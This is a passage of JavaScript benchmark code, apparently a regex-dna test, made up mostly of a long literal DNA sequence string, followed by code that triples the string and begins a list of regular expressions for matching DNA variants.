caactagaacagaataatcgggagtagtttaattcagtcaaggtgcaggtctcattgtaa\n\ ctaacaagctctgtgtaaccaagttaaaatcgttttcttagcggattccctacttatgga\n\ tttgagctcgtccacaatattcgatacaagaagtttgtggtccgtaacaacgaaatttta\n\ attacgctgtgcagcctcatccaaggaattaatagaaggttgatggtaggctccgaacgc\n\ tccatgattataatcaagtggactgtgcagtaaacgaggaaggtatcctgacgtcgtggt\n\ gttcgtttttgttatttgtgccctatacgagtagataaaccatgaacagcacagtgtgaa\n\ cccatggttgattttaggctaccttatttttaatttccgttacacagaaacgaattccac\n\ aactaacatgccattaatttttcgatatcttataaaagatggtcgaaattcattcattta\n\ ttttttttcggttctcgaaagtcaactaagctgtcgcgttttgtttctctttagaggtaa\n\ aagtggctttgatctcctacgtttggatactagtcaaccattactccatttgatccgtga\n\ gtatcacctgtctaacatccagcattatgactcctcggcgaagaaaagacacacttctta\n\ gagtcgatgtgtattagctagggacacagttgtttaatacgatagtgagcccagggaggg\n\ cagtgcgtcccccagtagatttattcagctagtgtaagtataagatatctcacccacgag\n\ gttcaagtgatatgcagtcttagaataatacttatcctgaatttcgatattatgggtact\n\ tcaataatccgctagcgctactttatgtctcgttggacagcaggacacatggcagtctta\n\ aacactaaagacatcacctgaatgaatgtaatgggattacaagaatcaatgaggtattat\n\ atacgacgtaggaaactctggatatatacagtaatctagttacgccatcgcacttcattc\n\ ctctggaaacttagaagacatcagctgtacgtggaggaaccagacccccgtatgtagcca\n\ aatagaaccaaagttgcttatacaaacacacccaatgacaatggaccgctggagttcgta\n\ aactcggaacgtagtactgcacaaacccagcatttagcaataggagctacgtatgcaact\n\ cccacgtggtaataccttcaagctatcaatatataggtgcctagctaatcgcattcgcaa\n\ gcagtattcaagcttgtaaaccagtataataattacagaggctctatgaaacccaacttt\n\ ccagctaaaagtcccaattaaatggttatttcgtacttttaaagtcgcccgttctgttat\n\ tacgcgaattgattctactccaaaattaaacacaaattatcaaccgtttcatttatattt\n\ gtcaatgcagctgtttaaaataaggctctactaaattataattaagacacttattaccag\n\ atttctctagttaagtttgaaccagctcgactaccgcgaaagatacattcccttctctat\n\ ttttcagttcatctatgggtcagagaagcattgaatttattctattcaccctcgtcgttc\n\ acagcgaatcgtcagtgtgatcagtgtatgagaaatatcctaaaccgtttagtcagacca\n\ cacgcttagaacaagtggtctaaaaagactgccctggaaggagtaagaagtatacagctg\n\ atccggtgtatccttcagtcatctgccctatactaattacacgacgcaaggaaaaatagg\n\ tttattttctaggcaaacccttcataggtgactccgatgtgttacgaatcatgcttgaga\n\ atgtgctatcgttaccgacggataataacgatctccaatgaaccaaatgtagaatgtcta\n\ ttgattacccttttactattcgacttagagataggagatagaacctcagtgtactttttt\n\ agccgaatgggaatctttgggaggtgaatggccataaggtcgtaaatccaaccctcttaa\n\ agtcttccatattatatcgttgttcgtggaatcgataacagatttgttgacccatagtaa\n\ atgtatactagtttatgttgtaagtgtagattgttttccgattgccgtccaaactttatg\n\ tcgtaattgtagaccagtaaagttgaccaaggtaagtgcccagcgatcctgcgagatcga\n\ tcgccaatttttccagtcactgtaagtgtaggtttagataaagccgtatgagttatatca\n\ taagggcctcggaaagcagcttcgaaccaaagttcccttataatagtagtttaactataa\n\ aagtatatactggtctgtcgccctttcacgatttgttttaccggtttatgaagcgttacg\n\ tcattagagcggctccaatttaaggttaacggcttccatgtgtagttgtatacaaggata\n\ acttaaagtatctgttcagcgagctagttaagttatcctcgatagaacacaactcagagg\n\ tcccaagatcgggtttgcaacttgctaatttattctcaaggcaaattgggaattatcgat\n\ acctgtataccataaggtcgctcgatgtgatgcttatgtcttctggtgatcctaccttag\n\ ttagtgctgattaacggaacattaatgtttatcgttttgagatttagccaattctctgat\n\ tctaactcaagatgccttatctgacgtgctatgcagcccctaagtattttacattgtaat\n\ aggacacgctcctttaaaactcgccaaaaggtcgttgtggttctctactggttaactata\n\ taatttacagctttgttgagctagttcctctttggtttaagtcctcaatattagttggtt\n\ cgagcgataagttggctagttaccttagtcactatattagatccgaatgttatgcttcat\n\ ctgaagaccgccaccctccaaaatttcttttaagactcacttattgcaaggtgtaggtga\n\ attcggctcgtttctcaagtggtgtatctgtacacgagtttccatattttcatcaacagc\n\ caccgcacacttatgtcactctaggtattaaaagtcgctctacaaggggacgcaattaag\n\ aaacagacatgctagtcaaaaataaacatagcgaggcaccactaattcggccgcttatca\n\ atgggatgctctgcgcgagacgcgccagagctcagtagttagttcggacatacatttact\n\ tcagatgatcaattagttttctacaaatgcttactctaccccgaaaaaagtcaccagact\n\ cttacgtctctttagtatccttccgtcttatataaggtcagtcccccgtttcggtaccct\n\ ggaatttactaagaataatgaaacagcccccaaggacgtacgtttacaaatgatagacca\n\ gatcgcctagcttattccgacgcatgttgcatagaattgaaccaacggaatgtgagagta\n\ actagatgagccgaccacagcacccgtttgcgtcgcagaatacgcctgatagttcggcca\n\ cgaaatcatatgtcctttgagtattaagtatttgtaatgatcaatcgagctcaagcaagc\n\ ttacacttcctcggatattcagggaacttagtgcctttgaaagatacgttgatcaacgaa\n\ aaattgataatggctcatatggaatgcctacctcatagtgctgaattaacacagcactgc\n\ ggacctaacttttcgaggtttcaagttcacgtctcaaaacctaataggctggaatatgta\n\ gggatcctcggtgaatttgtgattgggtttgttgtagtactgaccaagtgaatattcttt\n\ ttttctaaaagcagatctgctgccgggcactacgaaggagatctctgtgtatcattattg\n\ cttcttgacatgatgactcttaaatcactgtgggtgtgcaaaacgatagcacaacccaat\n\ tcgatagtacatattgttgatacttcgcactaaaccgttcatatttaaaggttgtgctcc\n\ ttccttcgttaaatactggtgacttggtcctatctactattagctagacctctggggaac\n\ cacgcccccgtaaaacctgtgcaagagagggggtcatacatcttagacatcgcgcctcca\n\ ccagggaagcattgggtgattgaccaggtgtgtaacaaatatgattattcttatactaat\n\ attagcaaagatgcataatgatttgtattaaatgtataattgaattgataagggtctttt\n\ agtcagtgatagagtagtataaggtagacattagaactcttaaccggacgcagatttttc\n\ ggtcttagtaagccaattagtcgacaaaacaaggtaagagcggttactagtagtacctat\n\ aatgcactgaatcttcggtcgaagtatagttctaatgctatgcagattgtgacggcgaca\n\ aatgttcagacttatatcatgaaacaagctcttgtaagtattgacaaatgaaaagattga\n\ atatttttaaatacaaaatgcgcctacttattaggggaattaaccagattgaaggccaat\n\ cctcacatgtaatgagataatagacgataaatgaaattcttgtaatagttgaactgctac\n\ gtgatgggtattatatatgattgagatcctccaattgccgacgtcttgtcttgatgccca\n\ aaagattgtcaacgaggagctccctcgcgtacctgtcgtccgtatcataaacgacgcgac\n\ atgtacagcactccgaagtataagcaataataatgcgggtaatccagactagatcttttc\n\ ggactcaatgcggtttcacggtaaacatgattaataccggagagtagtcgagcttatcag\n\ cgatgcaagcgaattcattgtgccaggagatacgttgcagataaaaccggcaacgtatgt\n\ caacaagttttggcgatctcgttgtttgtattcgacgaggcgcgggaacttcaagaacta\n\ tcgtatattcaagtccattaccttttagtttcagactggtggagctgactaaagttatat\n\ catcattttgtacactggtttagttaacgataatttcagatttaacatgaccagacgata\n\ atcgctgtatatccagttggaatgtggtttgccagaaaggttaacttataatcaagcctc\n\ tcttcagtcttgattcgtcgtatcccatccattgcgctatacctcagtgtatttggagct\n\ gtagttataccgtgtgctaagatcagtagacatgacgagagcaatattatctaccttaca\n\ agcatcaacggacgtctagtcggaacaaaagactctaaaactcgaacttcaggttaatat\n\ actatagttctgtattcagcagttattcttatattcgatattatcttgcctattggatgt\n\ ctgactttagtatattaatcatagtatctgccatgtaaaggtgccagtactaaatctgtt\n\ tcacagtgcgaattataaacggttacaaccattaaagacaacaagaccctatagctttat\n\ ttgaattttgtcaatgcgcaacttggagctcgcgatacatcccaattagtctatagggtc\n\ gggacgattctacggcatttctggttataatgacaacatggattgtggcccgagaatcgc\n\ tctttcattaattaagcaatcattacagtcttataagcgctacttccgagtggtagcagg\n\ taactcgatataaggtcgcatgagccgaatagcttaaaaaacaggccaccgaacattgat\n\ agagaataccgaccacagcgcaacctttgattactttcattaaattgtacggctcactcg\n\ acatcaagcttaagattgcgataatgtgaactcaaatggatcagtactgaagaaccgtaa\n\ cccacttcgcagaaagcgtacccagagaagatacgctgttacaatatacagggtgaaatt\n\ attgcctgttcttcgtaaccatttcgccaaacttggttagaaatgatagccattcatgat\n\ agaaataagctgaatgataccagtatctttaactatgtagtcagggggaagataacgatg\n\ gtccatgtatgtttctgatatgtgacagtattggccgcgtaatttgctaacgaagctact\n\ taatgcctttgagcttcatatagatttctttaatcaaaatcggcaaaaagatagtatgag\n\ ctataatatatgctagtagagaactctggaccatcatctatatgaatactgattcgagcg\n\ tgcaattactttagcctgcgtactactgactctacaaaacactctgagataagtttgtag\n\ tcagtaagtcgctctctataaaccttttggatgaccattgtacagccacttatagatccc\n\ aataaatagcacaggagacagagtttttcaatgctcgatcatttgccgatagtattttcg\n\ tctaacctcagggcacctattatttgatacctaacctaacggccctttcacaatggagaa\n\ atatatgacatcgggacaaacacaaatggtgggtggccaggagatatgacatggtggcgt\n\ ctctaagaaacacggactccctctaggcaaactcacgtaaccaattttaatgtcaaacaa\n\ aacgctcgaaaagattttgccgtgtaatgacctggtacattgactggtcaggaatacatc\n\ actgtagttgccgtagtgtcctgttggtgttccatcaagacacatcgtataacgcaattt\n\ acgacggacatcagatcaagttatacagattatttaagtatcacgtgtgcattgggacat\n\ aagggatctcacacatgccttggaacatttttgctttgtgccgctttttcgctgcactac\n\ caatccttacttaccagtatattcaaaggtcgttaacagaatgagaaaggttagggctct\n\ aagttatcgtcgattgggatagacgagacatttgcgagcgccctccacggatacgaatct\n\ cccatatcaatgtgaactggatgctatgcagtttagttcttacgtctcctagtggtaaaa\n\ atcaaagtagcactcgcatagcagttattcagaacctaatacacaaaaccgtcaaacatt\n\ ttctaattctaggtatgggccgatcataggagctaaggtgaaactcataaatgttttgtt\n\ agatctagcatcctaaaaagatgcatatactgagtagctggcgtgcattctctcaattgt\n\ atcctttttaactgaactagtcggtcccatttcgtgactgagatctattaaccgataaga\n\ ttaataacactcgcattcgtatcagctcagagtgaagtttttcaataatttgactgatat\n\ attaacttctaaaataaccctttaagcctcggatccgtttcccaatcacatcaaaaattc\n\ ttattccaactatctacggattaacaacgtgcatggggatcgtagtaagaacttgttccg\n\ atcactttgagtatatcaagttgacggcccggttattattgaatagaaacattcacctgc\n\ taaattaaataccgcacatcggatacccgatttcagagggccgtcttactaagggcaggc\n\ tttgttcggtttaactgagatgttcattattttacagtatgcttcaactaatatgtaacg\n\ aaggacagtggatctgtctccatagtagatcttcagtcgtgaatttcataccgctcctat\n\ ttaagttcgcgttcgagttgttgatcatggcacgtgaaagcaacccctagtattctagac\n\ gaaaattttttctagttcatctgataatttgccaattcaaaaacaaccgctggtttcccg\n\ gcgcattctctaaaatggaagtcgaacctagagccattatttgtcggtaacccatgagtt\n\ ccttcttttcagaagttaatacactgtggtcctatacagaggaaaaacagcggttatata\n\ cgatcgtggcataacaacattggatcaagatagcaatttggctacctattctaattctca\n\ ctagattcggtattccactacaatatcggcagattaggattggatgaataatcggtgttt\n\ aagtccggttgcgtctccaatctcctaatttttattaatattgatcttggtgacctattg\n\ taaataaaaacttcaagactttgaataacggtgaaaagatagaagactcatttgaaaatg\n\ gatcatccacagatccaaacattagcaagacactaatccccaactagctattctgatcgc\n\ gatcgtgctgcagtactcctgtcacaatagtctgttcatgatctaattctttttgggctt\n\ tgttcgatggtgattcagaatctttatccggtcgcttccctgtagctactttgtggggat\n\ attgcccggggattatagggttgagatcgtttcctaaaagtatttaaaccaagtagactt\n\ caactaaactacatcagaacatcgtgaagacaccatacgcggtacctttatttaccgata\n\ acatttcttcaagaaataccggtaagcagcataatgaccctaaacagctcggggtatcgt\n\ cgtagttttaaattttatttaggttactgctcaaggaataaaaactaactatttaattta\n\ taataatattacaaggctcacactgattagatttgtctataagacttcgcgatcccccat\n\ taccggattgtcttaagaataaactagataaaccatgcattttctagataaggcctttag\n\ tctaattagatacaaaaaacacgatagttgcatccttaatttattgtgtcaaacctggaa\n\ ccttttaattacccgcaaatcactttatgtcgagactacctctgaaatttattatctacc\n\ taccgcatgaggacttgaaccatcttgtaggagttatgtttattagctaagattcgttta\n\ tcctgtagcggtccatgtatattcaacaagcaaaaagcactcagaattgtttttagttga\n\ gtcaagactgatatataaataagtttccctagttttttcgtggtgggacgatattgaatt\n\ gaatcttaaccgaagagtttcccactctgtcgcacaataatacacgccaatatttccagc\n\ cctgcttatgccttaatcggttactcaatctcccattgaagttcattttgatctgcatag\n\ aagtttcgggcccagccttttttctgccaccttcctccaagctctgtagacgcactctaa\n\ gattgatgctcacatgtattaattctacattaacataaatatataagtcatgcatcttcg\n\ agtaaaatatctggttctccaacatgtcctggcacgtatcgttataatgcccatacatgt\n\ agtattaaaatgattgggttaactggatattaagatcatcgaaattgtaaagtcaaatta\n\ acaatactgtctcaagaccgtgtattcctcgtgctcggaagggctattacgcttacttcc\n\ gttttggtatcttaatatgactttcaaaaattaagttgcagtgagtcctacctgcgtgca\n\ tcggttagcaagagtataaaagttgtttaaacgaactacttgctttacaataccggtcgt\n\ atatatcgccgtgaatccagaagattgtcttctttggattatcaaccgagatcctgtgga\n\ ccgatgttttgggaccttcacagaggactccaggtagagctcgcttttgcattaatctaa\n\ gaattgtacctctctaaaagatctaaaacagtgaatgtgtatttcatggaaaaacacaga\n\ gaaacgtaaattactttaggccgaaaggcacatgagttattatacatatacgagatggtg\n\ gtatacatcgaattcggggcatacactatagttgcattgtatttagctgctttaaataat\n\ atgatattaccttccttacataagacattaccggcataccctggttttcaacttgtgggg\n\ ctttttgacgatcgcactctcatttgatccgagtagggcggtgacccctgcttttcaaat\n\ acaaaaatttcgctatgaaggtaatagattacttttcgctgttatgatagaaacggtaaa\n\ tttaaaattgaaacttctagaaaagtaaagtaacgagaaatgattttgtgaataatgcgg\n\ tcatgattgcgcaagtaagaaaaaaaggcaaaaggatgcgcggaatagaaacttatcagt\n\ cacgggtatcttgatttcattcttcttgtcaattgccgacataggatgaaatcagattcc\n\ aatgcaatacacagtaacccccacccttgattgtaatgtcgatttgaagttgtacgcgtc\n\ gacgaagtggatagtatacgggccttttgtacggtgcgatcaactatgaatctcggcgag\n\ ttagatggtcgtacaatctcacacatagaggtcacttgcctgtaatgacgaattttcggc\n\ taggtactcgaactttattagaagtaaaaatgtgggcaaaagaaggattccattttacaa\n\ gacgattacaatgagttacatgtctctcaacgtagtctttccctagtagtctttgaacta\n\ tttaggtactccagaaaattttagcaaagggtttctgtgtgaatccgccattcatgttta\n\ tgatggaacaataagaataacgccctcgtatgttatcgacagtgaagtcagcagttcggc\n\ caaaaacatattcaatttagtacagatccccagaagttaagctaagtgctctaaaatggc\n\ ctaaacggttatcaaagtaggtctaattactatactaacgggtgcatcgtaataactgct\n\ gtcgatgcaacactatatgatagtgtcgttttgctatatatgtacaatgtgacaaagaag\n\ ccttagcgattcttgcaaacttaggacttcggattctcaatcttaaatgtccgaaaacgc\n\ aaagattcaaaaatttaatctatgagcagatatgcctgatggtgactacgcgtatgttaa\n\ ggctaaatgttgacaaccgcacacataatcgaactattgatagtcgggagcataaccagg\n\ tgaacgtactttgttcacgacatttattgacatgttctaaatacgtctcaaaatcacggc\n\ gcactagaaaacgcaatcaaatcattgtcctggtttaagggccgtaatgccggtagtgtc\n\ aaacttcatgagaactttagctggcttttggccagtatttagggaccaagagcactagcc\n\ ttaagctgaatattttgccatttatctactgttataactttaaaacttggtggcaccaga\n\ cttgtcgatacacacgcatcaatctgtaacgtaaaaggtttactaagaacaagcgtagga\n\ attgagtttatattatatttaaactaaaagatgatattagcttctgagggcgatagggct\n\ ccaaatcataaagaggaatatattattacacgattagaaacccacaacatacctcgaatc\n\ gcccaaaagtttgacgaaacttggcagtactccacatctcagtaatacagttgggagagt\n\ ctcaaatgttgttttattactcaatgaaccaccctcataatttcactgctgttccattaa\n\ atttgcaaacgatcatttgctttgaagaaacgtaaaatcgacaaaattacagataagtag\n\ atgcataataaaaaaaactgctcgctataacacgatcatcgtgcattcttacttaggagc\n\ atcacccgcacaataacgtaccttaaactacaacactattagaccgagtactgtaattca\n\ cgaaagctcaagctcgcattgtaaagaacttgctctctcgtaaaatgtgataatagtttg\n\ cggagaggattcaattattttccattgcacctactccactagattcgataaaagaaggtg\n\ gtcctcccttaaaaagaaatgttaagtaacatcggaaccataagcaaagcatgtaagtga\n\ accgtcatccttccctaagaaacataaaggtttttaataatgtcgactgtgaactataac\n\ tgcatcctttcctgacctactccggttccttgttgttatttctgaacgagaccagtagat\n\ aaacaatgtaaaccacagtgggtaccaatggtgcatgtgacgctaccgttgttttaagtg\n\ cccgtacaaacataagaagtcataatcttacttgaaattaattttgccttttattttttt\n\ tcaggctcgaaattaatgatttgttttttttgaccttctagttacgctaatatgcggtcg\n\ cctgtggtttctattgagtcctataacgggatgggatctaatacgtttggttactagtaa\n\ acaaggtataaatttgataccggagtatcaactgtataacatcaagctttatgactcata\n\ cgcgaagtaatgacacaaggctttcaggagatcgcgagtacagagccactaaggggtgta\n\ ttacgatagtgacaccaccgagcgcactcactccccaagtagatttatgatcctacgcta\n\ agtattagatatataaccaaagaggttctagtcagtgcaactcttagaataataattagc\n\ cggttttgcctttttaggcctaatgcaatattcagctagcccttatgtatctcgcgttcc\n\ acagcaccactcatggcacgcgtttaaactaatcaaatataatctatgaatgttatgcca\n\ gtacttgaataaatcaggttttttataagtccttgcatactctcgttatatactgttaga\n\ gtcttaccccatagaaattctttcatctgcaaacttagaagaattctcagctacggggag\n\ cataaagtccccaggatgttgacaaatacaacaaatgtggcttatacaaacactccatat\n\ gaaaatcgaaccctcgtggtagttttagccgaaccttgtacggataaatccctccatttt\n\ ccaatagcagatacctatcctactacctcgtggtattaaattaaagcttgaaatatagag\n\ ctgcatagcttatccaattcccaagcacgagtctaccgtcgtaaccacgatttgatttac\n\ agacgctagagcaaacccatctttaaacatataagtaaaaattaaagggtgagtgcgtac\n\ gtgtttactagcaacttcgcttattaagacaattgtttataagccataattaaaaacata\n\ tgttcaacaggttcattgatatttgtaattgcacaggtttttaataaggatctacgtaag\n\ tataatgaacaaactttttaccagagttatattctgtactttgaaaatgctcctctaccg\n\ ccttagagactttcaattagattttttgcagttaatctatgcgtaagtgaaccatgcaag\n\ ggatgcgattcaaccgcctcgtgctaaccctatcgtctgtctcataactgtaggtctaat\n\ ataattttcagttttcgaacacataaccctttgaaaatctgctatttaatgtctcacctg\n\ catgcactatcttctatactgctcagaacggctatacgtcactatgctccaagtgacgat\n\ ttaaacgaagcaaggaataataggtttattttagtgcaaaacaattaagtgcggactacg\n\ tgctctttacaataagccttgtgattgggctataggttaagtcccatattaacgatctcc\n\ aatgtacaaaatcgacaatcgctttgcattacccggttactagtcgaattacagatagct\n\ gttagatactcactctaattttggacaacaatcccaatcttggggtcgtctatcgcctga\n\ agctcgtaaatccttccatcttaaacgattacatattatagacttgttcggggtagagat\n\ atcacagttgtgcaaacattgtaaatcgatactagtttatgttggtagtctagttgcttt\n\ taccattccccgaaaaacttgatctactatttcgacaacagtaaacttgaactaggtaag\n\ tgaaaacagagaatgcctcatagtgccactatttgtccactatatgtaagtgtagcttta\n\ cataatccactatgactgagatcattacggcctaggaaagcagcgtagaaaaaaagggcc\n\ cggatattacgactgtaactataaaactagttactggtagcgcgccatgtatagatttgt\n\ tttaccggttgtggttgcgttaacgaatttcagccgcgaaaattgatccgttaaccagtc\n\ catctcgacttctataaaacgataaagtaaagttgatgttcagcctccttcttatggttg\n\ catcgagagtacactactcagtgggaaatagatcggggttcctacttcagattgtattat\n\ ctaggcaattgccgattgtgccatacctggataaaataagctacctacatgtgatgctta\n\ tctattatcgtcatactaccttagggtgtcctgttgaacgctacattaatctttagccgt\n\ ttgagatgttccaatggataggagtctaacgcatgatgaagtttaggaaggcagagcatc\n\ ccactaagtatgtgacagtgtatttcgaaacgagacgttataaatagaaaaaaggtcctt\n\ ctggttctattctgctgaactattgaatggaaagattggttgacctacgtactatttgct\n\ tgaagtcatcaatttgacggggtgagagacatatggtgcatactttacggactctatatt\n\ ttagatcagaagcttagcagtcttctctacaccccctcacgacataattgcttttaagaa\n\ tctatgtttgattcctctacgggaattcggatccgttcgcatgtgcggtttatctaaacc\n\ aggggacatatgttcagctaaagcatacgaacactttgctaactagacgtatgtatagta\n\ gctataaatcccgacgatatttacaaaaagaaatgagactcaaatatatacatagcgacc\n\ ctacacttattcgcaccctgatctaggcgatcctagcacccacacccgaaagtgagcact\n\ agtgtcttccgtattaaatttactgcagttgagattttagttgtctactaaggattactc\n\ taacccgtaataaggatcaagactcggtactagctttactatcattccctatgtgttttc\n\ ctaactcacaagggtacgtaccagcctatgtaattacaataatgataaagacacaaagga\n\ agtaactttacaaatgagtctccagttacactagcttagtccctcccatcttgctttgaa\n\ gtctaaatacgcaatctctgaggatatacagcagaagaacactcataacgttggagtcca\n\ agaattagactcatagggcccccaacatttaatatgtactgtgagtttgaaggtgttcta\n\ ttgttaattcctgctcttgatacatgacacgtactccgtgtttaaggcttcggactgact\n\ ttctttcataagttgagcaacgaaaatttcagaatcgataagttggattcactaactaat\n\ acggctgattgaaaactccactccggacctatatggtcgacctttatacgtaaccgatat\n\ aaaacttataggctggtatatcgagccttcctagcgcaatttcggatggggtttcttcta\n\ ctactcaacaacggaatagtctttgtttagtaaaccagagctcaggacgcccaatacgta\n\ ggagagcgctgtggagcatgtgtcattatggactggagcactcttaaatcactctgcgtg\n\ tgctaaacgatagatcataacatgtcctgagtaaattttcttgatacgtcgcaatatacc\n\ gttattagttaaacgttctcatccgtcatgcgtgaaatacggctgtcgtgctcagatata\n\ ctattagcgactcatctcgcctaacacgcacacgtataaactcggaatgactgccgctct\n\ tacatattagaaatacagactacaccacggaagcattgggtcattctcaaccgctgtata\n\ aaagatgattagtcttataataagattaccaaagaggcagaatcatgggtagtaaatcta\n\ ttattcaagtgattaccgtcgtgtaggcagggagtgaggacgagatggtactcaggacaa\n\ atattaaccggacgaagtggtttacgtcgtactttcactattagtagtaaatacaaggta\n\ acaccggggaatagtactaaatataatgatatctatcttcgggagaacgagtcgtctatt\n\ gctttgaacattctcaaggcgtaaaatgtgctgacttatagcatgatacaaccgattgtt\n\ acttttgtctattcaaaagattgaatagttttttatacaaaagccgcatacttatgacgg\n\ ctagtatacagtttcatcccctagcatcaatgctatggacagtattgaacttataggaaa\n\ ttcttctaatagggcaaatccgtcgtgatgcctattttttttcagtcacatcctcaaatg\n\ gcactagtattgtcgggatcccattaacaggctcaaccacgagctcacgcgaggacatgt\n\ agtccgtatctttaacgaagcgacagcgacagaactcccatggataaccaattataaggc\n\ ccgtaatcctctagacatcgtttaccaataaatccgctttctccgtaatcatgttgaata\n\ ccccagagtagtccagatgataaccgatgaaacacaagtctttctcaatgcacttacggt\n\ gaacttattaccgccaacgtagctcatcaaggttgcgacatctagttgtgtgtttgcgac\n\ gagcccagcgaacttcatcaactttcgtatattcaacgccttgtaattttactttaagac\n\ gcctggtgatgtagattcttagataatcagtttgttatcggctgtactttaccataattt\n\ cacaggtttcaggtcaagaagattatagctgtatatacagttccatgctcggtgcacaga\n\ aacgtgatcggataataatcaatcgcttatgtcgtctttaggcgtatccaatacatgccc\n\ cgataccgcagtgtatttcgacatgtaggtataccgtcgcatttgagctcgagtcaggac\n\ gtcagctagattagattccttaatagaatataccgacctctagtccgaactaaactatag\n\ ataacgccaacttcaggttaattgtctagtcgtctgtttgcagatgggattcttagatga\n\ gtgagtatcggccatattggttcgagcactttagtttttgatgcataggatatgcaatgt\n\ atagctgaaagtactttatctgtttcaaactcacattgattaaaccggtaaacctttaaa\n\ gactacaagaaaatattcagtgagggcaattttgtcaatcacaatcttccagctagagat\n\ acttcacaatttgtcttgaggctacgcaacattagacggattttcgcgttttattgaaat\n\ aatcgaggggcccaagagtatccatagttcattttgtaagatttctttacaggcttatta\n\ cagcttcttcagactcctacatgcttacgagttatatgctagcatgtgaacaatagatta\n\ atatacaggaaaacgtacattgagagagatgaccctacacagcgcaaccgttgagtactt\n\ tcattaaagggtaacgctctcgagacagcatccttaagatggccttattgtcaaatcatt\n\ tgcagaagtacgcaagatccctaaccaacgtagaagaatccctacaaacacatgagacgc\n\ ggtgaaaatagacagggtgttagtattcaatcttcggagtatcaatttcgccaatcttgg\n\ tgagaaagcataccctttcttcagagaaagaagatcaatcataacactatctttaacgag\n\ gtacgcacgcgcatcattacctgcctccatggatctttaggatagcggaaagtattggca\n\ gcgtattgtgatttcgttcctactttatcaatttcacattcatatacatgtcttttatca\n\ aaatcgccaataagataggatgagctatattagatgctagtagagttcgcgccaacatca\n\ tcgataggaatactcaggacagcgtgataggacttttcaatccctaatactctctataat\n\ tataactctctcttaagtttggaggcagtaacgcgctctatataatcagtttgctgcacc\n\ attcttcagcctctgatacatacaaataaattccacagcagtaagagggtttaattgaga\n\ catcttgggaacttaggattttactctaacatcaccgaaacgattattggataccgtacc\n\ taaacgaactttctcaaggcagtaatataggacatccgcaataacacaaatgctgcctcc\n\ ccaggagttatgtcttcctggaggctatatcttacacccactcactataggcaaactaaa\n\ gtttaaatgttgattgtctaaaaaaaagatagataagagttggccggcgtagcacatgcg\n\ aaagtgaatcgtaagctataattctctggacttgaagttctgtcctgttcctctgcaaga\n\ aacaaacttcctttaaagctatttacgacgcacatctcagcaagttataaacatgttgga\n\ agtttctagtcggaattcccaaagaacggatctatctaatgcattcctacatttttcctg\n\ tctgccgatggtgccatcctattcaaagaatttcttaaaagtagattaaatgggactttt\n\ aacaatgagtaaccttacgcctctaagggttcctcgagtgccatacaccagtcaggtccg\n\ agccacatacacggagaacattctaacatagcattctcaactcgatcatttgcaggttac\n\ ttctttcctatcctagtgctaaaaatcatacttgcaatcccatagcacggattaagaacc\n\ taagaaacaattcagtaaaacatgttcgaattcttggtatgggaacatcattgcagctat\n\ ggtctaacgcattaatgtttgggtacatcttccatcatataaacaggaagagtctgacga\n\ cagggagtgcttgcgatcatgtctatcattgtgaaatcaaattgtagctcacatgtcgtc\n\ tatgagagcgtgtatccgataagatttagaaaaatagaagtcgtataagatctcactgaa\n\ cttttgaatgaatgtgaagcatatatgatctgctttaataaaactttatccataggatac\n\ gtttccaaatcaattcaataattattagtcaaaatagataaggatgaacaacctgaaggc\n\ cgatcggacgtagaaagtggtcccatcactttgagttgatattgttgaaccacacgttat\n\ tatggttttcaaacagtctcaggatattgtatatacagataatccgataccagttgtctg\n\ acgcccctcttacgtaccccaccctttgtgacgtttaaagcagttgttcagtattttaaa\n\ ctaggcggcaactaatttggaaagaagcacagtggatatgtctaaattcttgttattcag\n\ gcctgaatttaatacaccgcatagttaacttcgcggtagagttgttcatcatgcctcctc\n\ taagctaccacttctatgatacaccaatagttgttctacggaatctgataattggccaag\n\ tcataaacttccgctgcgttcaacccccttgctcgaatatccaactcgaaaagacagcct\n\ tttggtgtccggaacaaatcagttacttcttttctgatgttaattctctgtggtcagata\n\ cagaccaaaaactccgcggatttaccatcctccaagaacaaatttgcatcaacatagcat\n\ tttggctacatattctaagtctcaatagtttaggttttcaactacattatcccaacatta\n\ ggattggaggaataatagctgggtaagtccccttgcgtctacaatcgactattttttatg\n\ aatatgcttctgccgcacctatggttattaaaaaagtcatgactttgaagaaccctgaaa\n\ agatagatgaatcaggtgtaatggcagcagccaaagagcatataattagcaacactctaa\n\ gaacattatagatatgatgatagcgatcgtcatgatgttatccggtcacaatagtagctt\n\ catcagctaattcgttttgccagtggtgacttgcgctggaagaatcgttatacggtccct\n\ tccctcttgatacggtgggggcttattcaaccgcgtggattgggttgtcatacttgcatt\n\ aaacgatgtaaaccatctagtagtcaactatactaaatcacaaaatagtgatcaatacat\n\ acccgcttcatggttttaaccatttaattgattaaagatattccgctaagaaccattatc\n\ tacctaaactgatcgccgtatcctagtagtttgaaatttgatgtaccgtaatgatcaacg\n\ aagtaaaacgttatattgtatgtagaataataggtcttggagctaaatgatgtgattggt\n\ agtgaagacttacccttacaactttaccggtttctcggaagaatatactagagaatcaat\n\ gcatgggctacataagcactttagtctaatgagataaaaaatacacgagtcttccatcat\n\ gaattttttgtcgaaaaactcgaacctggtaatttaaaccatatatctttatgtcgtcaa\n\ taactctcatatgttttatataacttcccaatcacgacttgtaactgcttgttcgactga\n\ gctgtttgagctatgaggccgggatccggttgagctacatctatttgctacaagaaaaat\n\ gaaagcacatttgttgggagttctggctacactcatagagaaataagtggcccgagtggg\n\ tgcggcctgcctccatattcaagtgtatcttaaaccaagtggttccaacgctcgcgctaa\n\ agaattaaagcctttatttcctccacggagtagcccgtaatccggttcgaaagagaccat\n\ tgaagttaattttcatatccagtgaagtttaggcacaagcatgtgttctgccacatgcct\n\ caaagcgctcttcaaccaagatatgattcatcctaacttcgatgaatgcgtctgtaacat\n\ aaatatagaaggaatgattcggcgagttaattttcgccttctccaacatggcatccctac\n\ gttcgttataaggaccatacatgtaggttttaaaggtttgcggttaatcgatatttacat\n\ catagaaattctatagtcaaatttacaagactctagatactcactcgttgcagccggcta\n\ ggaagcgctttgtaccttacttcccttttcgttgcgtaatatgaatttcatatagtaagt\n\ tcaaggcactcatacctccgtgaagagggtagatagactattaaagttgtttaatagtac\n\ gtattgatggaaatgacccgtaggagatttaccactcaatccacaagattcgctgctgtg\n\ cattatcaaaacagtgcatgtcgaaacatgggttgggtccttcaaacacgaatccaggta\n\ gagatacctttgcaattttt\n"; dnaInput = dnaInput + dnaInput + dnaInput; var ilen, clen, seqs = [ /agggtaaa|tttaccct/ig, /[cgt]gggtaaa|tttaccc[acg]/ig, /a[act]ggtaaa|tttacc[agt]t/ig, /ag[act]gtaaa|tttac[agt]ct/ig, /agg[act]taaa|ttta[agt]cct/ig, /aggg[acg]aaa|ttt[cgt]ccct/ig, 